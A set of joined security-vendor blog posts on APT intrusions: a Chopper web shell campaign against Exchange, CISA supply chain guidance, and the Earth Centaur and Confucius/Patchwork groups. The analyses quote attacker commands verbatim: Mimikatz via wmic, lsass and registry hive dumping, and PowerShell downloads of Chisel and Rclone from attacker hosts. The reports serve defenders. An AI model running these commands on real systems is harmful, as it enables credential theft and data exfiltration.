expand {filename}.ex_ {filename}.dat expand {filename}.ex_ {filename}.exe


We saw a noticeable difference with this attack compared to other Chopper attacks — its use of the .dat file extension, which is commonly used for data storage purposes, such as in a user profile’s ntuser.dat.


In this particular Chopper attack, the .dat files are used as executables.


Lateral movement


It proceeded with copying the Chopper web shell into accessible shared folders in other hosts to gain access.


copy premium.aspx "\\{hostname}\d$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.1.2044\scripts\premium


It also scans for vulnerabilities across the network by using an installed tool, Hacktool.Win32.CATLIKE.A, and a legitimate cURL, C:\temp\curl.dat.


It specifically scans for web server-related vulnerabilities and password weaknesses in Apache Tomcat, Citrix, and phpMyAdmin applications.


Application/Port  Command  Oracle WebLogic  curl.dat -v -H 'Content-Type: text/


xml;charset


http://{ip address\]:7001/wls-wsat/CoordinatorPortType  Oracle Console  curl.dat -vv http://{ip address}:7001/console/j_security_check  -d j_username={username}&j_password={password}&submit=Login"


PHPMyAdmin  curl.dat -vv --connect-timeout 2 {ip address}/phpmyadmin  Apache Tomcat  s.dat -u http://{ip address}:8080/manager/html  Ports  7001 9095 5556  8080   s.dat -i 10.217.229.189 -p {ports}     Table 1.


Commands used to scan for web server-related vulnerabilities and passwords on certain applications and ports


We saw that this attack also uses the WMI command line (wmic) utility to perform remote process execution on other infected endpoints.


Execution of arbitrary commands via session id


Successful exploitation of CVE-2020-0688 gives Chopper access to system privileges.


In one of the endpoints, it will drop and execute Trojan.Win32.PRIVESC.A.


This trojan requires to be run under a user with SeTcbPrivilege.


It allows an attacker to see all Windows sessions and can execute arbitrary commands on the session via session id.


Figure 3. Examples of arbitrary commands being performed on the session via session id     Discovery


For its discovery, it uses typical Windows command-line tools such as nltest, ping, whoami,  netstat, net, nslookup, hostname, and tasklist, which are commonly used in other attacks.


In addition, a publicly available JoeWare domain tool called LG.exe, which is quite popular among attackers and domain admins alike, was installed and used in the attack.


Credential access


For obtaining user credentials, the attackers used HackTool.MSIL.Mimikatz.AF, a modified version of the open-sourced application Mimikatz, using the following parameters: x, xxx, xxxx, xxxasd. wmic /node:{ip address} process call create "cmd.exe /c c:\users\mpBD6D42.dat xxxasd -pass > c:\users\23.txt  Collection


The attackers use wevtutil.exe to query security-related events from a target username and export it as a q.txt file.


For packaging stolen credentials and other logs, it uses the makecab command instead of a third-party application such as rar.exe.


·        makecab a.txt > 111 ·        makecab aaa2.txt >1


The attacker uses installed security components or applications as filenames to hide in plain sight.


·        C:\Program Files\Trend Micro\ ams p.dat ·        C:\Oracle\Oracle.dat ·        C:\Program Files\McAfee\MacAfee.dat These suspicious activities were seen via our XDR solution, which helped us monitor observable attack techniques and provided critical security alerts including anomalous file extension execution, remote execution via system tools, web shell-related activities, and potential exploit attacks.


Security recommendations


Web shells can be embedded in systems via security gaps such as vulnerabilities.


Attackers will work to identify vulnerable applications used in systems to exploit them and install web shells for remote code execution or data exfiltration.


We provide some security recommendations to ensure that enterprises and organizations can defend against web shell attacks:


Patch your systems and applications.


Ensure proper vulnerability patches are applied for public-facing applications, such as Apache Tomcat, Oracle Web Logic Server, Microsoft Exchange Server, and PHPMyAdmin.


Implement strong passwords.


Do not use the same password for multiple applications or websites.


Use multi-factor authentication whenever possible and regularly update it.


Check for static keys in the IIS web.config file.


As observed on CVE-2020-0688, the use of static keys — as opposed to randomly generated keys — can allow an attacker to execute arbitrary code by tricking the server into deserializing ViewState data.


Enterprises and organizations should have comprehensive and efficient protection, detection, prevention, and remediation based on real-time, higher-confidence alerts to protect critical data and operations from sophisticated attacks and threats.


A consolidated view of all security sensors provides a single-pane-of-glass view that will promote quick and thorough investigation and response.


Trend Micro Solutions Trend Micro’s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from Trend Micro solutions across the enterprise — including email, endpoints, servers, cloud workloads, and networks — making faster connections to identify and stop attacks.


Powerful artificial intelligence (AI) and expert security analytics correlate data from customer environments and Trend Micro’s global threat intelligence to deliver fewer, higher-fidelity alerts, leading to better, early detection.


One console with one source of prioritized, optimized alerts supported with guided investigation simplifies the steps needed to fully understand the attack path and impact on the organization.


Indicators of compromise  Filename  Path  SHA-256  Detection  Notes  ss.exe  C:\temp\  ee63b49aca1495a170ea7273316385b606f3fd2df1e48e9f4de0f241d98bd055  HackTool.Win32.CATLIKE.A  Vulnerability Scanner  LG.exe  C:\temp\ C:\hp\  5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9  HackTool.Win32.JoeWare.A.  JoeWare Local Group Manipulation tool  LG.dat  C:\hp\  5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9  HackTool.Win32.JoeWare.A.  JoeWare Local Group Manipulation tool  mpBD6D42.dat  C:\Users C:\Perflogs C:\hp C:\temp  e9be71848d1faa0c41db4c6a1e901747d98fb0b3cca027f8be85ea5e339b75e3  HackTool.MSIL.Mimikatz.AF  Mimikatz       Tags  Endpoints | APT & Targeted Attacks | Research | Network | Articles, News, Reports


The Cybersecurity and Infrastructure Security Agency (CISA) and the National Institute for Standards and Technology (NIST) recently published “Defending Against Software Supply Chain Attacks”.


The guideline provides an overview of software supply chain risk and how vendors and customers can identify and assess such risks using the NIST Cyber Supply Chain Risk Management (C-SCRM) Framework and the Secure Software Development Framework (SSDF).


Software supply chains are an integral part of a large information and communications technology (ICT) supply chain framework.


It is an ecosystem of retailers, distributors, and suppliers participating in the sale, delivery, and production of hardware, software, and managed services.


An attack on the software supply chain happens when a cyber threat actor invades a vendor's network and uses malicious codes, compromising the software before the vendor sends it to their consumers.


The compromised software will then put the customer's data or system at risk.


According to the guideline, newly acquired software may be compromised from the get-go.


It can also be compromised through a patch or hotfix.


These threats affect all users of the tampered software, resulting in major consequences for government, critical infrastructure, and private sector software consumers.


The guideline thoroughly explains the three most common methods threat groups use to infiltrate the supply chain.


It also establishes a few recommendations for software customers and vendors to prevent and mitigate attacks as well as improve resilience against software supply chain attacks.


The three most common methods are taking over the software update mechanism to deliver an updated software with malicious code, exploiting misconfigured access controls, and targeting publicly accessible code libraries, and inserting malicious code, which unknowing customers then download to their systems.


The document also provides the following eight best practices for establishing a C-SCRM approach and applying it to software:  Incorporating C-SCRM across the organization; Creating a formal C-SCRM program; Knowing and managing critical components and suppliers; Understanding the organization's supply chain; Working closely with key suppliers; Including key suppliers in resilience and improvement activities; Evaluating and monitoring throughout the supplier relationship; and Planning for the full life cycle.


While the guideline gives thorough recommendations on preventing supply chain attacks, it is still vital for organizations to take extra measures to mitigate vulnerable software components.


Organizations should also create a program that can manage and control their supply chain's vulnerabilities, minimizing the possibilities of attacks.


In addition, organizations must know and understand the risks associated with supply chains and smart factories.


To learn more about overlooked risks associated with supply chain and smart factories, read our expert team's proof of concept paper, "Forward-looking security analysis of smart factories".


This extensive research also discusses feasible attack scenarios and recommended defense strategies.


Tags  Latest News | Cloud | APT & Targeted Attacks | Network | Articles, News, Reports | Cyber Threats


The Cybersecurity and Infrastructure Security Agency (CISA) recently issued an alert regarding an advanced persistent threat (APT) compromising government agencies, critical infrastructures, and private sector organizations.


According to CISA, the APT actor is accountable for the compromise of the SolarWinds Orion supply chain.


The actor is also responsible for the abuse of commonly used authentication mechanisms.


The Agency then urged organizations to make identifying and addressing such threats a priority.


Under the Presidential Policy Directive (PPD) 41, the agency, together with the Federal Bureau of Investigation (FBI), and the Office of the Director of National Intelligence (ODNI), formed a Cyber Unified Coordination Group (UCG).


This group aims to coordinate a "whole-of-government" response to the above-mentioned cyber incident.?


A UCG is also formed for integrating private sector partners into incident response efforts.


In general, a Cyber UCG is created when a vital cyber incident affects critical infrastructure owners and operators.


These are determined by the Secretary of Homeland Security as possessing or operating critical infrastructure wherein a cyber incident could lead to a catastrophic regional or national effect on national security, economic security, or public health.


Supply chain attacks are quite risky and could result in real-world impacts.


In a report done by Trend Micro entitled “Critical Infrastructures Exposed and at Risk: Energy and Water Industries”, researchers were able to expose vulnerabilities of human-machine interface (HMI) used in critical water and energy organizations.


They also showed real-world implications that these vulnerabilities have.


Geopolitical risk is also a big concern for securing supply chains.


To mitigate such risk, organizations must think globally and exert efforts to follow codes of local culture.


Organizations need to have a deeper understanding of regional and national policies to ensure the safety of the supply chain.


Read our three-part series on smart factories from the perspective of supply chain disruptions to learn more about supply chain cybersecurity.


Tags  Latest News | ICS OT | APT & Targeted Attacks | IoT |


Articles, News, Reports


Earth Centaur, previously known as Tropic Trooper, is a long-running cyberespionage threat group that has been active since 2011.


In July 2020, we noticed interesting activity coming from the group, and we have been closely monitoring it since.


The actors seem to be targeting organizations in the transportation industry and government agencies related to transport.


We observed that the group tried to access some internal documents (such as flight schedules and documents for financial plans) and personal information on the compromised hosts (such as search histories).


Currently, we have not discovered substantial damage to these victims as caused by the threat group.


However, we believe that it will continue collecting internal information from the compromised victims and that it is simply waiting for an opportunity to use this data.


Through long-term monitoring, we learned that this threat group is proficient at red teamwork.


The group knows how to bypass security settings and keep its operation unobstructive.


Depending on the target, it uses backdoors with different protocols, and it can also use the reverse proxy to bypass the monitoring of network security systems.


The usage of the open-source frameworks also allows the group to develop new backdoor variants efficiently.


We expand on these techniques and other capabilities in the following sections.


More importantly, we believe the activities we observed are just the tip of the iceberg and their targets might be expanded to other industries that are related to transportation.


It is our aim, through this article, to encourage enterprises to review their own security setting and protect themselves from damage and compromise.


Overview of Earth Centaur’s infection chain


Based on our investigation, we found that the intrusion process used by Earth Centaur can be separated into several stages, which are shown in Figure 1.


We found that the threat actors used vulnerable Internet Information Services (IIS) server and Exchange server vulnerabilities as entry points, and then installed web shells.


Afterward, the .NET loader (detected as Nerapack) and the first stage backdoor (Quasar remote administration tool aka Quasar RAT) were deployed on the compromised machine.


Then, depending on the victims, the threat actors dropped different types of second-stage backdoors, such as ChiserClient and SmileSvr.


After exploiting the victim's environments successfully, the threat actors start Active Directory (AD) discovery and spread their tools via Server Message Block (SMB).


Then, they use intranet penetration tools to build the connection between the victim’s intranet and their command-and-control (C&C) servers.


We go into further detail about these stages in our analysis.


Figure 1. Stages of Earth Centaur’s intrusion process      Technical Analysis of Earth Centaur’s Tools and Techniques Stage 1: Loaders


After the threat actors get access to the vulnerable hosts by using ProxyLogon exploits and web shells, they use bitsadmin to download the next-stage loader (loaders are detected as Nerapack) as well as its payload file (.bin). C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.exe' "%temp%/dfmanager.exe"}" C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.bin' "C:\Users\<redacted>\AppData\Local\Temp/dfmanager.bin"}"


After our long-term monitoring, we observed that there are two different decryption algorithms (DES or AES) used in Nerapack to decrypt the payload.


Moreover, in its newer version, it uses a technique called “Timestomping.”


Timestomping is when the timestamp of the payload file (.bin) is altered to make it harder for incident response analysts to find it.


Figure 2. Timestomping used on the bin file     The decryption key is used as an argument of Nerapack and various keys are used on different victims.


It is a simple but effective technique that makes security analysis more difficult and also ensures that only their operators can use the tools.


The command for execution is shown as here: > Nerapack.exe {base64 encoded key}


Fortunately, we were still able to collect the decryption key in some cases and we decrypted the payload successfully.


Based on our current cases, the decrypted payload is Quasar RAT.


After the payload is deployed, the actors can continue further malicious actions through Quasar RAT.


Stage 2: Backdoors


After further analysis, we found that the threat group developed multiple backdoors capable of communication via common network protocols.


We think this indicates that it has the capability to bypass network security systems by using these common protocols to transfer data.


We also found that the group tries to launch various backdoors per victim.


Furthermore, it also tends to use existing frameworks to make customized backdoors.


By using existing frameworks, examples of which are detailed in the following, it builds new backdoor variants more efficiently.


ChiserClient


After the backdoor is launched, it will decrypt the embedded C&C configuration via AES (CTR mode) algorithm for the following connection.


In the configuration, there are three C&C addresses and corresponding port numbers.


Figure 3.


Decrypted C&C configuration


In the first connection, ChiserClient will append the host name of the compromised host for check-in purposes.


Then, it will keep running on the hosts and wait for further commands from the C&C server.


ChiserClient is installed as a system service to allow the threat actors access to higher privileges and keep persistence on the compromised host.


The capability of ChiserClient is shown in the following table:  Command code Function 0x10001


Write specified file 0x10002


Download File 0x10003


Read specified file 0x10004


No Action 0x10005


Open a command shell for command execution


HTShell HTShell is a simple backdoor that is developed using the Mongoose framework (version 6.15).


Mongoose is an Object Data Modeling (ODM) library for MongoDB and Node.Js.


It is used to translate between objects in code and objects representation in MongoDB.


We saw in our cases that the HTShell client will be launched as a system service on the compromised machine and that it will connect to a C&C server.


HTShell supports importing additional config files.


We found that the additional config file is located in %PUBLIC%\Documents\sdcsvc.dat, and that the content should be encoded by base64.


If no config file is imported, it will connect to the predefined C&C address.


Figure 4.


HTShell hardcoded C&Cs     HTShell encodes a hard-coded string, "tp===" with custom base64 and embeds the encoded string in the request cookies.


If the C&C server receives the request with the special cookie value, it can verify that the request comes from its client applications.


Figure 5.


HTShell hardcoded and encoded cookie string in the request header     The response handler of HTShell will use “`” as delimiter to split the command code and argument for the received command.


Hence, the command will be this format:  <command code>`<custom-base64encoded-data>[`<more-custom-base64encoded-data>] HTShell currently supports three different backdoor functions, shown here:  Command code Function 0 Open a command shell for command execution 1


Upload file 2 Download file


Customized Lilith RAT


During our investigation into Earth Centaurs activities, we found that it also uses another backdoor called Lilith RAT.


We think that this Lilith RAT is a highly modified version of the open-source Lilith RAT.


The actors reused part of the codes for command execution, while the C&C protocol is changed to Dropbox HTTPS APIs.


Figure 6.


Reused codes from open-source Lilith RAT     In order to launch this RAT, the threat actors use a technique called "Phantom DLL hijacking."


In this technique, the RAT will be disguised as the normal wlbsctrl.dll.


While the Windows service “IKEEXT” is starting, the fake wlbsctrl.dll is loaded and executed with high privilege.


Furthermore, when Lilith RAT is terminated, it will try to clean itself to prevent being found by investigators.


Figure 7.


Self-deletion after execution


For the C&C connections, the customized Lilith RAT will first check in to the attacker’s Dropbox and see if the victim host exists.


If not, the hostname and IP address will be collected and appended to the existing compromised hosts’ information.


All data will then be encrypted and sent back.      Figure 8.


The first check-in request to the Dropbox C&C     After the check-in request, the backdoor will start to wait for more commands to come in.


All the request data are formatted to JSON, and they are encrypted by AES and encoded by base64.


Here is a list of the C&C commands:


Command Description CMDCommand Executes commands DownloadCloudFile Downloads files UploadCloudFile Uploads files GetDir Lists directories GetDirFile Lists files in a directory DeleteSelf Deletes itself  SmileSvr


We found that there are two types of SmileSvr.


The difference between the two variants is the protocol used for communication: ICMP and SSL.


The threat actors will use an installer to install SmileSvr as a system service and drop a DAT file that contains encoded C&C information.


In the configuration file, the memory size used for storing C&C address and C&C address will be defined.


Figure 9.


Encrypted configuration file


The ICMP version of SmileSvr will create an ICMP socket to connect to the specified C&C address, which is defined in a configuration file.


In each SmileSvr, there is an embedded number (e.g., 10601 in Figure 10.) and this value will be used as sequence number in the sent ICMP packet.


We think attackers use this value to verify if the incoming packet belongs to their backdoor and filter out the noise.


Figure 10.


Decrypted configuration file     Without knowing the real traffic from the C&C server, we can only speculate on the content of the response based on the receiving function.


As shown in Figure 11, the content of the response should contain the sequence number used to verify if the received data comes from the correct source and two blocks of encrypted data.


The data decryption procedure is as follows:  First, the encrypted data is decrypted with a one-byte XOR key (0xFF).


The first of the decrypted content contains a magic number used to check data in the second block, a command code, and the XOR key to decrypt the second set of encrypted content.


The second set of encrypted content is decrypted with an XOR key (0x99) from the previous decrypted content, and within the decrypted data are instructions for the following procedures.


Figure 11.


SmileSvr packet traffic format simulation


While analyzing samples, we found that the C&C server was already inactive.


Without knowing the traffic between SmileSvr and C&C server, we could not fully understand all functions.


However, most of the backdoor functions are listed here:  Command code Function 0x5001


Opens/Reads specified file 0x5002 Unknown 0x5004 Opens/Writes specified file 0x5006


Opens command shell 0x5007 Unknown 0x5009 Closes command shell 0x500A


File System Traversal 0x500C


Checks environment information 0x500E Unknown


As for the SSL version of SmileSvr, the capability of SSL communication is built by using wolfSSL, which is a lightweight, C-language based SSL/TLS library.


The backdoor functions of SSL version SmileSvr are similar to the ICMP ones.


The threat actors just use it to develop new ways to support data transfer via an encrypted channel.


Customized Gh0st RAT


In our investigation, we also found a suspicious executable named telegram.exe.


After analyzing the file, we found that it was a customized version of Gh0st RAT.


Compared to the original Gh0st RAT (Gh0st beta 3.6), the difference is that the customized version supports a new function to discover information from active sessions on the host.


All supported functions for the customized Gh0st are shown in the following table:  Command code Function 0xC8 Terminates connection 0xCA


File manager to handle file operations 0xCB Screen monitoring 0xCC Opens remote shell for command execution 0XD5 Gets active session information  Post


Exploitation


After successfully exploiting the vulnerable system, the threat actor will use multiple hacking tools to discover and compromise machines on the victim’s intranet.


In this stage, we also observed attempts to deploy tools to exfiltrate stolen information.


During our investigation, we found evidence of specific tools, which we listed in Table 1.


With these tools, the attackers accomplish their goals (network discovery, access to the intranet, and exfiltration) step by step.


Tool name Purpose Description SharpHound AD Discovery Discovery tool to understand the relationship in an AD environment FRPC Intranet Penetration Fast reverse proxy to help expose a local server behind a NAT or firewall to the internet Chisel Intranet Penetration Fast TCP/UDP tunnel RClone Exfiltration A command-line program to sync files and directories to and from different cloud storage providers  Credential Dumping


We also observed that the group used multiple legitimate tools to dump credentials on compromised machines.


It made good use of these tools to achieve its goal and keep its operation hidden and unobstructive.


For example, the group uses ProcDump.exe (a tool from Windows Sysinternals Suite that creates dumps of the processes in any scenario), which it renamed bootsys.exe: c:\users\public\downloads\bootsys.exe  -accepteula -ma lsass.exe C:\Users\Public\Downloads\lsass.dmp


The group dumps credentials stored in registries by using reg.exe: reg.exe save hklm\sam C:\Users\Public\Downloads\sam.hive reg.exe save hklm\sam c:\windows\temp\sa.dit reg.exe save hklm\security c:\windows\temp\se.dit reg.exe save hklm\system c:\windows\temp\sy.dit


The group would also dump memory from the specified process by using comsvcs.dll: rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump 764 C:\Windows\TEMP\dump.bin full Indicator Removal  To avoid exposing their footprints to investigators, the threat actors made their own tool to wipe out the event logs on the victimized machine.


By using this tool, they could clean specified event logs and make it hard for investigators to track their operations.


The usage is as follows:          Intranet Penetration


After successfully exploiting the vulnerable system, threat actors also drop following tools: FRP and Chisel.


FRP is a fast reverse proxy used to expose a local server behind an NAT or a firewall to the internet.


It can read predefined configurations and make the host in the intranet available to users from the internet.


Figure 12.


Configuration for FRP fast reverse proxy      Chisel is a fast TCP/UDP tunnel, which is mainly used for passing through firewalls.


It provides the capability to transport data over HTTP (secured via Secure Shell, aka SSH) and allows threat actors to pass through a firewall and get access to the machine behind the firewall.


This is used to download reverse proxy Chisel via PowerShell: c:\windows\system32\windowspowershell\v1.0\powershell.exe -command "$(new-object System.Net.WebClient).DownloadFile('https[:]//webadmin[.]mirrorstorage[.]org/ch.exe', 'ch.exe')"


This is used to build a connection between inter/intranet via Chisel:  C:\WINDOWS\system32\ch.exe client https[:]//webadmin[.]mirrorstorage[.]org:443 r:127.0.0.1:47586:socks Exfiltration


In the previous phase, we observed that the actors use several tools to get the whole picture of the network infrastructure and bypass the firewall.


Afterward, we observed a PowerShell command used to download an effective tool, Rclone, which is used for exfiltration.


It also provides an easy and effective way of copying data to several cloud storage providers.


C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -command "$(new-object System.Net.WebClient).DownloadFile('http://195[.]123[.]221[.]7:8080/rclone.exe', 'r.exe')


Based on previous experience, Rclone has frequently been used in ransomware attacks to exfiltrate stolen data.


However, it seems that currently, it is not only used in ransomware attacks but also in APT attacks.


Identifying Features in the Earth Centaur Campaign


After long-term observation and analysis of the attack campaigns, there was compelling evidence that they were operated by Earth Centaur.


We found several identifying features of the threat actors within the techniques and tools described in the preceding sections, and we break down the factors in the following.


Mutex Style


We found some special mutexes that are encoded by the layout of the Chinese Zhuyin keyboard in ChiserClient.


The decoded string is shown in Table 2.


Based on these special mutex strings, we believe the threat actors come from a Chinese-speaking region.


Table 2. Encoded/Decoded mutex string Encoded string Decoded string in Chinese English translation vul3ru,6q8 q8 y.3 小傑趴趴走 Jack goes around ji394su3 我愛你 I love you 5ji fu.6cl3g.3zj6m0694 桌球好手福原愛 Excellent table tennis player, Ai Fukuhara  Configuration style


After analyzing the ChiserClient, we found that it shares a similar style of network configuration to the TClient mentioned in our previous research on Earth Centaur.


Figure 13. Network configuration (Left: ChiserClient


Right: TClient)


Code Similarity


After checking the backdoor SmileSvr, we found that there was a code similarity between it and Troj_YAHAMAM, which was used by Earth Centaur in an earlier operation.


Both share similar codes in configuration decoding, which is shown in Figure 14.


Furthermore, the delimiter that was used in SmileSvr to split different values in configuration files is the same as the one used in YAHAMAM (shown as Figure 15).      Figure 14.


Configuration decoding function (left: SmileSvr right: Troj_Yahamam)      Figure 15. Function used to split different values in configuration file (left: SmileSvr right: Troj_Yahamam)


Conclusion


These threat actors are notably sophisticated and well-equipped.


Looking deeper into the new methods the group uses, we found that it has an arsenal of tools capable of assessing and then compromising its targets while remaining under the radar.


For example, the group can map their target’s network infrastructure and bypass firewalls.


It uses backdoors with different protocols, which are deployed depending on the victim.


It also has the capability to develop customized tools to evade security monitoring in different environments, and it exploits vulnerable websites and uses them as C&C servers.  In this blog, we outlined our new findings related to these threat actors to help possible targets in the transportation and other industries.


Information on how a threat enters and operates within a victim’s network is invaluable to security teams and can help them create more effective protection for vulnerable organizations.


Organizations can also find capable security solutions that can help interpret and respond to malicious activities, techniques, and movements before the threat can culminate and affect an enterprise.


Trend Micro Vision One™ with Managed XDR gives security teams a consolidated view into valuable insights so they can organize a more solid line of defense ahead of attacks.


For a list of the Indicators of Compromise, please see this document.


MITRE ATT&CK Matrix  Tactics ID Technique Initial access T1190


Exploit public-facing application Execution T1059.001


Command and Scripting Interpreter: PowerShell T1059.003 Command and scripting interpreter: Windows Command Shell T1569.002


System Services: Service Execution Persistence T1543.003


Create or Modify System Process: Windows Service T1574.002


Hijack Execution Flow: DLL Side-Loading T1505.003 Server Software Component: Web Shell Defense evasion T1140


Deobfuscate/Decode Files or Information


T1480 Execution Guardrails T1574.002


Hijack Execution Flow: DLL Side-Loading T1070.001 Indicator Removal on Host: Clear Windows Event Logs T1027.002


Obfuscated Files or Information: Software Packing T1218.011


Signed Binary Proxy Execution: Rundll32 T1036.005


Masquerading: Match Legitimate Name or Location T1197 BITS Jobs T1070.006


Indicator Removal on Host: Timestomp Credential Access T1003.001 OS Credential Dumping: LSASS Memory T1552.002


OS Credential Dumping: Credentials in Registry Lateral Movement T1021.002


Remote Services: SMB/Windows Admin Shares Discovery T1087.002


Account Discovery: Domain Account T1482 Domain Trust Discovery T1083 File and Directory Discovery Collection T1005 Data from Local System Command and control  T1071.001


Application layer protocol: web protocols T1095 Non-Application layer protocol T1090.001 Proxy: Internal Proxy Exfiltration T1567.002


Exfiltration to Cloud Storage      Tags  APT & Targeted Attacks | Endpoints | Research | Articles, News, Reports


Updated the appendix on August 30, 2018 to fix formatting and add new information.


Back in February, we noted the similarities between the Patchwork and Confucius groups and found that, in addition to the similarities in their malware code, both groups primarily went after targets in South Asia.


During the months that followed in which we tracked Confucius’ activities, we found that they were still aiming for Pakistani targets.


During their previous campaign, we found Confucius using fake romance websites to entice victims into installing malicious Android applications.


This time, the threat actor seems to have a new modus operandi, setting up two new websites and new payloads with which to compromise its targets.


Fake Android porn app and Windows chat applications as lures


The first website uses adult content as a lure, via an Android application called Fuddi Duniya, which links to a website that displays nude pictures every day.


The app’s APK is linked directly from the homepage, with a disclaimer stating that Google Play does not allow pornography in their store.


Figure 1: fake website with a link to download the Fuddi Duniya app.


The displayed Urdu text could be translated as “Real women, girls, and housewives || Download the app now More than thousands of women app.”


The app’s features are similar to the previous malicious Android application, such as having the ability to record audio and steal SMS, accounts, contacts and certain file types from specific directories.


In addition, the application now retrieves the last known location and uses the development platform Google Firebase to upload the stolen content.


Figure 2: Stealing function excerpt from Fuddi Duniya Android app


The second fake website is again related to chat, with a background suggesting that it can help find users a partner.


Initially, a link to a malicious Android application hosted on Google Play that shared the same features as the application described above was present.


But after we reached out to Google while carrying out the research, the application was removed from the store and the link was removed from the fake website.


Figure 3. Screenshot of the second fake website


Same as with the fake Tweety chat application we described in detail in our previous research, a Windows application with real chat features based on the open-source chat application RocketChat was offered.


Similarly, this application also comes bundled with malicious .NET code.


While small and relatively simple, we found this malicious application interesting to analyze as it revealed the countries targeted by the threat actor.


The application is a simple downloader that sends some basic information (username, antivirus, IP address, and operating system version) encrypted using triple Data Encryption Standard (DES).  Figure 4.


Sample of the app’s code Periodically, the malware tries to contact the Command-and-Control (C&C) server with the username encoded into parameters.


Based on the information they retrieve, the operators can then decide to instruct the malware to download the second stage payload.


This function is similar to the various versions of backdoors (such as sctrls and sip_telephone) that we analyzed in our previous blog post and whitepaper.


An interesting feature of the downloader: It uses an online service to retrieve the victim's IP address and country, which it compares with a list of allowed countries.


If the victim seemingly comes from a different country, the program will self-delete and quit.


This list contains:  Most of the South and Southeast Asian countries (including Mongolia) Most of the Middle Eastern countries


Most of the African countries Only Ukraine in Europe Only Trinidad and Tobago in the Americas No country from Oceania   Figure 5.


Excerpt of the valid country list We noted that it does both client-side and server-side IP filtering, showing that the attacker has improved its infrastructure.


At the end of last year, a C&C from the same threat actor was not only accessible from any IP address, but it was possible to browse the server directory tree without authentication.


After impersonating a fake victim of interest, we obtained a second stage payload (Detected as TROJ_DELF.XXWZ), which is a filestealer based on the Delphi programming language similar to the “svctrls” malware described in our previous blogpost.


This one is called “sysctrls” and it looks for files with the following extensions:


Extension File Type .doc, docx Microsoft Word document .xls,.xlsx


Microsoft Excel document .ppt, .pptx Microsoft Powerpoint presentation .pptx


Microsoft Powerpoint presentation .png, .jpg, .jpeg Image file .pst, .ost Microsoft Outlook file .csv


Spreadsheet file


It then sends them via a POST HTTP request to windefendr[.]com/description.php.


Further analysis of this filestealer revealed interesting links with other threat actor groups.


The Delphi Link


We already mentioned that Confucius had possible links to other groups in our previous blog post, which mentioned code sharing between Patchwork and Confucius.


Both groups used a backdoor with the same configuration file structure and commands.


We found more code shared among the two threat actor’s malware, as Patchwork recently used multiple Delphi malware similar to some of the Delphi malware we described before.


We initially spotted some visual similarities between the malware used.


Although no forms are displayed while the malware is running, we can see its TForm object in the Delphi decompiler.


The TForm object often has two TTimer objects — but sometimes we have seen one or even three of these objects — usually with random names.


Occasionally, listboxes with encrypted strings are also added.


Figure 6: Decompiled Form structure of Confucius’ sample (d971842441c83c1bba05742d124620f5741bb5d5da9ffb31f06efa4bbdcf04ee, Detected as TSPY_CONFSTEAL.A)  Figure 7:


Decompiled Form structure of Patchwork’s sample (795ae4097aa3bd5932be4110f6bd992f46d605d4c9e3afced314454d35395a59, Detected as TROJ_DELF.XXWZ)


While looking into any of the TTimers’ OnTimer methods, we often found a certain kind of structure: A pointer to an encrypted string stored in an EDX register followed by the call to the decryption function.


Figure 8: Calling the decryption function This encouraged us to analyze the string encryption routines thoroughly.


Our analysis revealed three of them.


The first involves a very simple routine that flips every bit of the string.


The second algorithm involves a hardcoded key, which is transformed by taking the five lower bits of each character, and then used as a XOR key.


In some cases, the key is split in half in the binary, so it is first reunited before being used.


Finally, our third algorithm uses a 94-character substitution table.


This algorithm was previously discussed by security researchers in a Confucius-related blog post.


For each of these routines, we found a recent sample going back to a domain name belonging to Patchwork’s infrastructure.


The substitution tables of the third algorithm were randomly generated at build time, while the attacker seemingly set the keys used in the second algorithm.


We found six different keys in the latter category that were different for the Patchwork and Confucius group.


Figure 9.


On the left, Confucius code, on the right, Patchwork’s code


Interestingly, one of those keys, “xldbszcd”, was found in a file stealer used by Confucius (472ea4929c5e0fb4e29597311ed90a14c57bc67fbf26f81a3aac042aa3dccb55, Detected as TSPY_CONFSTEAL.A) as well as in two other file stealers.


One file stealer (cca74bb322ad7833a21209b1418c9837e30983daec30d199a839f46075ee72f2, Detected as TSPY_DELF.SUW) published by security researchers in 2013 and linked to the domain myflatnet[.]com, was attributed by several parties to the Hangover group.


The other file stealer (1f0dabd61947b6df8a392b77a0eae33777be3caad13698aecc223b54ab4b859a, Detected as TROJ_DELF.XXWZ) is related to a domain reported in September 2016.


That report also mentioned InPage software targeting and Delphi backdoors.


Figure 10.


Left: Confucius group, Middle: Hangover group, Right: Unnamed group


After some research, we found multiple Delphi backdoors that used any of the three decryption routines.


The backdoors also linked to an infrastructure matching old Hangover domains as well as the infrastructure of domains from the September 2016 blog post.


Some of these samples were several years old and had left the original name of the bit-flip decryption algorithm, which was “EnDecrypt”.


This algorithm matches the following code snippet.


Patchwork's Ongoing Campaigns


Aside from their Delphi malware, Patchwork is still active.


Lately, they have been sending multiple RTF files exploiting CVE-2017-8570.


The dropped payloads are modified versions of the Remote Administration Tool QuasarRAT that can be traced to the domains sastind-cn[.]org and tautiaos[.]com.


Figure 11.


Process tree after a successful infection


The attackers sometimes design the weaponized documents to look like legitimate documents of interest to the target.


The documents are also unusually large — often more than 10 megabytes.


Figure 12.


On the left, the weaponized document.


On the right, the legitimate document from CSBA.


Note that the weaponized document was crafted to look like it came from CSBA but does not imply that CSBA or its related assets have been compromised


The group still uses the Badnews malware, a backdoor with information-stealing and file-executing capabilities, albeit updated with a slight modification in the encryption routine at the end of 2017, when they added Blowfish encryption on top of their custom encryption described in our former Patchwork blogpost.


Defending against Confucius and Patchwork Threat actors like Confucius and Patchwork are known for their large arsenal of tools and ever-evolving techniques that can render traditional security solutions — which are often not designed to handle the persistent and sophisticated threats detailed in this blog — ineffective.


To help combat these kinds of threats organizations will need to take a more proactive and focused security posture that can cover the most ground in terms of security.


Some specific security measures organizations can implement:  Recognize social engineering attempts.


Malicious mobile apps are common infection vectors for cybercriminals, as they can attract specific target audiences.


In this case, Confucius went with the common adage “sex sells” Proactively monitor the organization’s network.


